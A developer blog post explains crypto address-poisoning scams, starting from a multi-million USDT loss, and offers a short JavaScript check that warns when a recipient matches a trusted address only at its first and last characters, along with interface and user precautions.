&lt;p&gt;Twenty six minutes later the full 49,999,950 USDT went to a different address. That address matched the real one in its first five and last four characters. The attacker swapped the funds to DAI, then ETH, and most of it went into Tornado Cash (&lt;a href="https://www.theblock.co/post/383423/crypto-trader-loses-50-million-in-address-poisoning-attack-offers-1-million-bounty-for-return" rel="noopener noreferrer"&gt;The Block&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Nothing was hacked. No key leaked, no contract was approved. And on 28 October Scam Sniffer flagged another user who lost about $50,000 the same way. The attack is called &lt;strong&gt;address poisoning&lt;/strong&gt;, and it works because of how our interfaces show addresses.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;A bot watches the chain for transfers, including small test sends.&lt;/li&gt;
&lt;li&gt;It generates a vanity address whose start and end match the address you just paid. This is cheap: matching a few characters at each end takes minutes on a single GPU.&lt;/li&gt;
&lt;li&gt;It sends you a zero value or dust transfer from that look-alike. Now it sits in your history, right next to the real entry.&lt;/li&gt;
&lt;li&gt;You come back to finish the payment, open your history, copy what looks like the same address, and send.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The test transfer did not protect the trader. It was the signal the bot needed: it told the attacker which address to imitate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the UI makes it easy
&lt;/h2&gt;

&lt;p&gt;Wallets and explorers shorten addresses to &lt;code&gt;0x1234...abcd&lt;/code&gt;. People check the start, maybe the end, and stop. So "the start and end match" proves nothing. The only part an attacker cannot cheaply copy is the middle, and that is the part we hide.&lt;/p&gt;

&lt;h2&gt;
  
  
  A check you can add in 15 lines
&lt;/h2&gt;

&lt;p&gt;If you build a wallet, a payment form, a treasury tool or an internal payout script, you can warn before the user signs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Warn when a recipient looks like a known address but is not the same one.&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/^&lt;/span&gt;&lt;span class="mh"&gt;0x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;lookalikeOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;recipient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;knownAddresses&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;edge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;recipient&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;knownAddresses&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// exact match: fine&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;knownAddresses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;known&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;sameStart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;sameEnd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sameStart&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;sameEnd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;         &lt;span class="c1"&gt;// looks the same, is not&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use it with the addresses the user really trusts: their address book, saved withdrawal addresses, and addresses they sent real value to before.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;twin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;lookalikeOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;recipient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addressBook&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;twin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;showWarning&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sb"&gt;`This address looks like ${twin} from your contacts, but it is a different address. `&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="sb"&gt;`Copy the recipient from the original source, not from history.`&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three cheap upgrades make it much stronger:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Show the middle.&lt;/strong&gt; Before signing, display the full address and highlight the characters between the first and last four. That is where the difference is.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Distrust dust senders.&lt;/strong&gt; If the recipient only ever appeared in history through a zero value or tiny incoming transfer, say so. Real counterparties rarely introduce themselves that way.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hide or mark zero value transfers&lt;/strong&gt; in the history view, so poisoned entries are not one click away.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The check is deliberately simple. It does not decide who is honest. It only catches the one moment the attack depends on: copying something that looks familiar.&lt;/p&gt;

&lt;h2&gt;
  
  
  What users can do today
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never copy a recipient from transaction history. Take it from the original source: the invoice, the exchange deposit page, the person.&lt;/li&gt;
&lt;li&gt;Save trusted addresses once, after checking them in full, and send only from the address book or a withdrawal whitelist.&lt;/li&gt;
&lt;li&gt;After a test transfer, copy the address again from the same original source, not from the history that now shows two similar entries.&lt;/li&gt;
&lt;li&gt;Compare the middle of the address, not just the ends.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We keep a short practical guide on this: &lt;a href="https://cryptostrapon.com/how-to-prevent-address-poisoning" rel="noopener noreferrer"&gt;how to check an address before you send&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Question for you:&lt;/strong&gt; if you build wallets or payment tools, do you hide zero value transfers in history, or show them with a warning? I am curious which one users actually understand.&lt;/p&gt;

&lt;p&gt;If this was useful, a star on &lt;a href="https://github.com/cryptostrapon/crypto-scam-glossary" rel="noopener noreferrer"&gt;crypto-scam-glossary&lt;/a&gt;, our open glossary of scam patterns, helps other developers find it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Written with AI assistance and fact checked by the CryptoStrapon team.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>web3</category>
      <category>javascript</category>
      <category>cryptocurrency</category>
    </item>
  </channel>
</rss>
